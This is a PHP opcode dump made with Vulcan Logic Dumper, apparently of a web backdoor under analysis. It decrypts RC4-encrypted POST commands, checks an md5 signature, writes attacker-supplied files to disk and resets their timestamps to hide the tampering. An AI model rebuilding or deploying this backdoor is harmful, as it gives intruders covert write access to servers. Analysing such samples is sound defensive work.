Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 14, Position 2 = 288
Branch analysis from position: 14
1 jumps found. (Code = 42) Position 1 = 40
Branch analysis from position: 40
2 jumps found. (Code = 44) Position 1 = 44, Position 2 = 29
Branch analysis from position: 44
1 jumps found. (Code = 42) Position 1 = 108
Branch analysis from position: 108
2 jumps found. (Code = 44) Position 1 = 112, Position 2 = 57
Branch analysis from position: 112
1 jumps found. (Code = 42) Position 1 = 201
Branch analysis from position: 201
2 jumps found. (Code = 44) Position 1 = 207, Position 2 = 124
Branch analysis from position: 207
2 jumps found. (Code = 46) Position 1 = 216, Position 2 = 224
Branch analysis from position: 216
2 jumps found. (Code = 43) Position 1 = 225, Position 2 = 288
Branch analysis from position: 225
5 jumps found. (Code = 188) Position 1 = 235, Position 2 = 286, Position 3 = 286, Position 4 = 286, Position 5 = 228
Branch analysis from position: 235
1 jumps found. (Code = 42) Position 1 = 287
Branch analysis from position: 287
2 jumps found. (Code = 43) Position 1 = 289, Position 2 = 300
Branch analysis from position: 289
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 300
Branch analysis from position: 286
1 jumps found. (Code = 42) Position 1 = 287
Branch analysis from position: 287
Branch analysis from position: 286
Branch analysis from position: 286
Branch analysis from position: 228
2 jumps found. (Code = 44) Position 1 = 230, Position 2 = 235
Branch analysis from position: 230
2 jumps found. (Code = 44) Position 1 = 232, Position 2 = 286
Branch analysis from position: 232
2 jumps found. (Code = 44) Position 1 = 234, Position 2 = 286
Branch analysis from position: 234
1 jumps found. (Code = 42) Position 1 = 286
Branch analysis from position: 286
Branch analysis from position: 286
Branch analysis from position: 286
Branch analysis from position: 235
Branch analysis from position: 288
Branch analysis from position: 224
Branch analysis from position: 124
2 jumps found. (Code = 44) Position 1 = 207, Position 2 = 124
Branch analysis from position: 207
Branch analysis from position: 124
Branch analysis from position: 57
2 jumps found. (Code = 44) Position 1 = 112, Position 2 = 57
Branch analysis from position: 112
Branch analysis from position: 57
Branch analysis from position: 29
2 jumps found. (Code = 44) Position 1 = 44, Position 2 = 29
Branch analysis from position: 44
Branch analysis from position: 29
Branch analysis from position: 288
filename: /in/8QSGT
function name: (null)
number of ops: 333
compiled vars: !0 = $__, !1 = $g, !2 = $key, !3 = $message, !4 = $Encrypt, !5 = $Decrypt
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
2 0 E > ASSIGN_DIM !0, 'key1'
1 OP_DATA 'da17298d87447351e5473e334c41ba4b'
3 2 ASSIGN_DIM !0, 'key2'
3 OP_DATA 'ce0c742ad350ee7e0a26466fd9b5f56b'
4 4 ASSIGN_DIM !0, 'key3'
5 OP_DATA '3bf6228c859400c084adea9a5e5f7b11'
6 6 INIT_FCALL_BY_NAME 'is_set'
7 CHECK_FUNC_ARG
8 FETCH_DIM_R ~10 !0, 'key1'
9 FETCH_FUNC_ARG global $9 '_POST'
10 FETCH_DIM_FUNC_ARG $11 $9, ~10
11 SEND_FUNC_ARG $11
12 DO_FCALL 0 $12
13 > JMPZ $12, ->288
8 14 > INIT_FCALL 'base64_decode'
15 FETCH_DIM_R ~15 !0, 'key1'
16 FETCH_R global ~14 '_POST'
17 FETCH_DIM_R ~16 ~14, ~15
18 SEND_VAL ~16
19 DO_ICALL $17
20 ASSIGN_DIM !0, 'request'
21 OP_DATA $17
10 22 FETCH_DIM_R ~18 !0, 'tmp'
23 FETCH_DIM_R ~19 ~18, 'i'
24 FREE ~19
25 FETCH_DIM_R ~20 !0, 'tmp'
26 FETCH_DIM_R ~21 ~20, 'c'
27 FREE ~21
28 > JMP ->40
11 29 > FETCH_DIM_R ~24 !0, 'tmp'
30 FETCH_DIM_R ~25 ~24, 'i'
31 FETCH_DIM_R ~27 !0, 'tmp'
32 FETCH_DIM_R ~28 ~27, 'i'
33 FETCH_DIM_W $22 !0, 'tmp'
34 FETCH_DIM_W $23 $22, 'c'
35 ASSIGN_DIM $23, ~25
36 OP_DATA ~28
10 37 FETCH_DIM_RW $29 !0, 'tmp'
38 FETCH_DIM_RW $30 $29, 'i'
39 PRE_INC $30
40 > FETCH_DIM_R ~32 !0, 'tmp'
41 FETCH_DIM_R ~33 ~32, 'i'
42 IS_SMALLER ~33, 256
43 > JMPNZ ~34, ->29
12 44 > FETCH_DIM_W $35 !0, 'tmp'
45 ASSIGN_DIM $35, 'i'
46 OP_DATA 0
47 FETCH_DIM_R ~37 !0, 'tmp'
48 FETCH_DIM_R ~38 ~37, 'd'
49 FREE ~38
50 FETCH_DIM_R ~39 !0, 'tmp'
51 FETCH_DIM_R ~40 ~39, 'e'
52 FREE ~40
53 FETCH_DIM_R ~41 !0, 'key2'
54 STRLEN ~42 ~41
55 ASSIGN !1, ~42
56 > JMP ->108
14 57 > FETCH_DIM_R ~46 !0, 'tmp'
58 FETCH_DIM_R ~47 ~46, 'd'
59 FETCH_DIM_R ~50 !0, 'tmp'
60 FETCH_DIM_R ~51 ~50, 'i'
61 FETCH_DIM_R ~48 !0, 'tmp'
62 FETCH_DIM_R ~49 ~48, 'c'
63 FETCH_DIM_R ~52 ~49, ~51
64 ADD ~53 ~47, ~52
65 INIT_FCALL 'ord'
66 FETCH_DIM_R ~55 !0, 'tmp'
67 FETCH_DIM_R ~56 ~55, 'i'
68 MOD ~57 ~56, !1
69 FETCH_DIM_R ~54 !0, 'key2'
70 FETCH_DIM_R ~58 ~54, ~57
71 SEND_VAL ~58
72 DO_ICALL $59
73 ADD ~60 ~53, $59
74 MOD ~61 ~60, 256
75 FETCH_DIM_W $44 !0, 'tmp'
76 ASSIGN_DIM $44, 'd'
77 OP_DATA ~61
15 78 FETCH_DIM_R ~66 !0, 'tmp'
79 FETCH_DIM_R ~67 ~66, 'i'
80 FETCH_DIM_R ~64 !0, 'tmp'
81 FETCH_DIM_R ~65 ~64, 'c'
82 FETCH_DIM_R ~68 ~65, ~67
83 FETCH_DIM_W $62 !0, 'tmp'
84 ASSIGN_DIM $62, 'e'
85 OP_DATA ~68
16 86 FETCH_DIM_R ~71 !0, 'tmp'
87 FETCH_DIM_R ~72 ~71, 'i'
88 FETCH_DIM_R ~76 !0, 'tmp'
89 FETCH_DIM_R ~77 ~76, 'd'
90 FETCH_DIM_R ~74 !0, 'tmp'
91 FETCH_DIM_R ~75 ~74, 'c'
92 FETCH_DIM_R ~78 ~75, ~77
93 FETCH_DIM_W $69 !0, 'tmp'
94 FETCH_DIM_W $70 $69, 'c'
95 ASSIGN_DIM $70, ~72
96 OP_DATA ~78
17 97 FETCH_DIM_R ~81 !0, 'tmp'
98 FETCH_DIM_R ~82 ~81, 'd'
99 FETCH_DIM_R ~84 !0, 'tmp'
100 FETCH_DIM_R ~85 ~84, 'e'
101 FETCH_DIM_W $79 !0, 'tmp'
102 FETCH_DIM_W $80 $79, 'c'
103 ASSIGN_DIM $80, ~82
104 OP_DATA ~85
12 105 FETCH_DIM_RW $86 !0, 'tmp'
106 FETCH_DIM_RW $87 $86, 'i'
107 PRE_INC $87
108 > FETCH_DIM_R ~89 !0, 'tmp'
109 FETCH_DIM_R ~90 ~89, 'i'
110 IS_SMALLER ~90, 256
111 > JMPNZ ~91, ->57
19 112 > FETCH_DIM_R ~92 !0, 'tmp'
113 FETCH_DIM_R ~93 ~92, 'y'
114 FREE ~93
115 FETCH_DIM_R ~94 !0, 'tmp'
116 FETCH_DIM_R ~95 ~94, 'i'
117 FREE ~95
118 FETCH_DIM_W $96 !0, 'tmp'
119 ASSIGN_DIM $96, 'd'
120 OP_DATA 0
121 FETCH_DIM_R ~98 !0, 'data'
122 FREE ~98
123 > JMP ->201
21 124 > FETCH_DIM_R ~101 !0, 'tmp'
125 FETCH_DIM_R ~102 ~101, 'i'
126 ADD ~103 ~102, 1
127 MOD ~104 ~103, 256
128 FETCH_DIM_W $99 !0, 'tmp'
129 ASSIGN_DIM $99, 'i'
130 OP_DATA ~104
22 131 FETCH_DIM_R ~107 !0, 'tmp'
132 FETCH_DIM_R ~108 ~107, 'd'
133 FETCH_DIM_R ~111 !0, 'tmp'
134 FETCH_DIM_R ~112 ~111, 'i'
135 FETCH_DIM_R ~109 !0, 'tmp'
136 FETCH_DIM_R ~110 ~109, 'c'
137 FETCH_DIM_R ~113 ~110, ~112
138 ADD ~114 ~108, ~113
139 MOD ~115 ~114, 256
140 FETCH_DIM_W $105 !0, 'tmp'
141 ASSIGN_DIM $105, 'd'
142 OP_DATA ~115
23 143 FETCH_DIM_R ~120 !0, 'tmp'
144 FETCH_DIM_R ~121 ~120, 'i'
145 FETCH_DIM_R ~118 !0, 'tmp'
146 FETCH_DIM_R ~119 ~118, 'c'
147 FETCH_DIM_R ~122 ~119, ~121
148 FETCH_DIM_W $116 !0, 'tmp'
149 ASSIGN_DIM $116, 'e'
150 OP_DATA ~122
24 151 FETCH_DIM_R ~125 !0, 'tmp'
152 FETCH_DIM_R ~126 ~125, 'i'
153 FETCH_DIM_R ~130 !0, 'tmp'
154 FETCH_DIM_R ~131 ~130, 'd'
155 FETCH_DIM_R ~128 !0, 'tmp'
156 FETCH_DIM_R ~129 ~128, 'c'
157 FETCH_DIM_R ~132 ~129, ~131
158 FETCH_DIM_W $123 !0, 'tmp'
159 FETCH_DIM_W $124 $123, 'c'
160 ASSIGN_DIM $124, ~126
161 OP_DATA ~132
25 162 FETCH_DIM_R ~135 !0, 'tmp'
163 FETCH_DIM_R ~136 ~135, 'd'
164 FETCH_DIM_R ~138 !0, 'tmp'
165 FETCH_DIM_R ~139 ~138, 'e'
166 FETCH_DIM_W $133 !0, 'tmp'
167 FETCH_DIM_W $134 $133, 'c'
168 ASSIGN_DIM $134, ~136
169 OP_DATA ~139
26 170 INIT_FCALL 'chr'
171 INIT_FCALL 'ord'
172 FETCH_DIM_R ~142 !0, 'tmp'
173 FETCH_DIM_R ~143 ~142, 'y'
174 FETCH_DIM_R ~141 !0, 'request'
175 FETCH_DIM_R ~144 ~141, ~143
176 SEND_VAL ~144
177 DO_ICALL $145
178 FETCH_DIM_R ~150 !0, 'tmp'
179 FETCH_DIM_R ~151 ~150, 'i'
180 FETCH_DIM_R ~148 !0, 'tmp'
181 FETCH_DIM_R ~149 ~148, 'c'
182 FETCH_DIM_R ~152 ~149, ~151
183 FETCH_DIM_R ~155 !0, 'tmp'
184 FETCH_DIM_R ~156 ~155, 'd'
185 FETCH_DIM_R ~153 !0, 'tmp'
186 FETCH_DIM_R ~154 ~153, 'c'
187 FETCH_DIM_R ~157 ~154, ~156
188 ADD ~158 ~152, ~157
189 MOD ~159 ~158, 256
190 FETCH_DIM_R ~146 !0, 'tmp'
191 FETCH_DIM_R ~147 ~146, 'c'
192 FETCH_DIM_R ~160 ~147, ~159
193 BW_XOR ~161 $145, ~160
194 SEND_VAL ~161
195 DO_ICALL $162
196 ASSIGN_DIM_OP .= 8 !0, 'data'
197 OP_DATA $162
19 198 FETCH_DIM_RW $163 !0, 'tmp'
199 FETCH_DIM_RW $164 $163, 'y'
200 PRE_INC $164
201 > FETCH_DIM_R ~166 !0, 'tmp'
202 FETCH_DIM_R ~167 ~166, 'y'
203 FETCH_DIM_R ~168 !0, 'request'
204 STRLEN ~169 ~168
205 IS_SMALLER ~167, ~169
206 > JMPNZ ~170, ->124
29 207 > INIT_FCALL 'unserialize'
208 FETCH_DIM_R ~172 !0, 'data'
209 SEND_VAL ~172
210 DO_ICALL $173
211 ASSIGN_DIM !0, 'data'
212 OP_DATA $173
31 213 FETCH_DIM_R ~174 !0, 'data'
214 TYPE_CHECK 128 ~175 ~174
215 > JMPZ_EX ~175 ~175, ->224
216 > INIT_FCALL 'md5'
217 FETCH_DIM_R ~176 !0, 'data'
218 FETCH_DIM_R ~177 ~176, 'sing'
219 SEND_VAL ~177
220 DO_ICALL $178
221 FETCH_DIM_R ~179 !0, 'key3'
222 IS_EQUAL ~180 $178, ~179
223 BOOL ~175 ~180
224 > > JMPZ ~175, ->288
32 225 > FETCH_DIM_R ~181 !0, 'data'
226 FETCH_DIM_R ~182 ~181, 'action'
227 > SWITCH_STRING ~182, [ 'update':->235, 'exec':->286, 'info':->286, ], ->286
34 228 > CASE ~182, 'update'
229 > JMPNZ ~183, ->235
40 230 > CASE ~182, 'exec'
231 > JMPNZ ~183, ->286
232 > CASE ~182, 'info'
233 > JMPNZ ~183, ->286
234 > > JMP ->286
35 235 > INIT_FCALL 'filectime'
236 FETCH_DIM_R ~185 !0, 'file'
237 SEND_VAL ~185
238 DO_ICALL $186
239 SUB ~187 $186, 1359152956
240 ASSIGN_DIM !0, 'info'
241 OP_DATA ~187
36 242 INIT_FCALL 'file_put_contents'
243 FETCH_DIM_R ~188 !0, 'file'
244 SEND_VAL ~188
245 INIT_FCALL 'gzinflate'
246 INIT_FCALL 'base64_decode'
247 FETCH_DIM_R ~189 !0, 'data'
248 FETCH_DIM_R ~190 ~189, 'data'
249 SEND_VAL ~190
250 DO_ICALL $191
251 SEND_VAR $191
252 DO_ICALL $192
253 SEND_VAR $192
254 DO_ICALL
37 255 INIT_FCALL 'touch'
256 FETCH_DIM_R ~194 !0, 'file'
257 SEND_VAL ~194
258 SEND_VAL 1359152956
259 DO_ICALL
38 260 INIT_FCALL 'md5'
261 FETCH_DIM_R ~196 !0, 'key1'
262 FETCH_DIM_R ~197 !0, 'key2'
263 CONCAT ~198 ~196, ~197
264 FETCH_DIM_R ~199 !0, 'key3'
265 CONCAT ~200 ~198, ~199
266 SEND_VAL ~200
267 DO_ICALL $201
268 INIT_FCALL 'serialize'
269 INIT_ARRAY ~202 'OK', 'state'
270 FETCH_DIM_R ~203 !0, 'info'
271 ADD_ARRAY_ELEMENT ~202 ~203, 'info'
272 SEND_VAL ~202
273 DO_ICALL $204
274 CONCAT ~205 $201, $204
275 INIT_FCALL 'md5'
276 FETCH_DIM_R ~206 !0, 'key1'
277 FETCH_DIM_R ~207 !0, 'key2'
278 CONCAT ~208 ~206, ~207
279 FETCH_DIM_R ~209 !0, 'key3'
280 CONCAT ~210 ~208, ~209
281 SEND_VAL ~210
282 DO_ICALL $211
283 CONCAT ~212 ~205, $211
284 ECHO ~212
39 285 > JMP ->287
40 286 > > JMP ->287
287 > FREE ~182
44 288 > > JMPZ <true>, ->300
46 289 > INIT_FCALL 'touch'
290 FETCH_DIM_R ~213 !0, 'file'
291 SEND_VAL ~213
292 INIT_FCALL 'filectime'
293 FETCH_DIM_R ~214 !0, 'file'
294 SEND_VAL ~214
295 DO_ICALL $215
296 ADD ~216 $215, 1
297 SEND_VAL ~216
298 DO_ICALL
48 299 ECHO '%2F%2Apayload%2A%2F'
65 300 > INIT_FCALL 'md5'
301 INIT_FCALL 'time'
302 DO_ICALL $218
303 SEND_VAR $218
304 DO_ICALL $219
305 ASSIGN !2, $219
66 306 ASSIGN !3, 'Hello+dadsdasdsa+1231211+%21%21%21'
68 307 INIT_FCALL 'base64_encode'
308 INIT_FCALL_BY_NAME 'rc4'
309 SEND_VAR_EX !2
310 SEND_VAR_EX !3
311 DO_FCALL 0 $222
312 SEND_VAR $222
313 DO_ICALL $223
314 ASSIGN !4, $223
69 315 INIT_FCALL_BY_NAME 'rc4'
316 SEND_VAR_EX !2
317 INIT_FCALL 'base64_decode'
318 SEND_VAR !4
319 DO_ICALL $225
320 SEND_VAR_NO_REF_EX $225
321 DO_FCALL 0 $226
322 ASSIGN !5, $226
70 323 ROPE_INIT 8 ~229 '%0A%0AKey%3A+'
324 ROPE_ADD 1 ~229 ~229, !2
325 ROPE_ADD 2 ~229 ~229, '%0AMessage%3A+'
326 ROPE_ADD 3 ~229 ~229, !3
327 ROPE_ADD 4 ~229 ~229, '%0AEncrypt%3A+'
328 ROPE_ADD 5 ~229 ~229, !4
329 ROPE_ADD 6 ~229 ~229, '%0ADecrypt%3A+'
330 ROPE_END 7 ~228 ~229, !5
331 ECHO ~228
332 > RETURN 1
Generated using Vulcan Logic Dumper, using php 8.0.0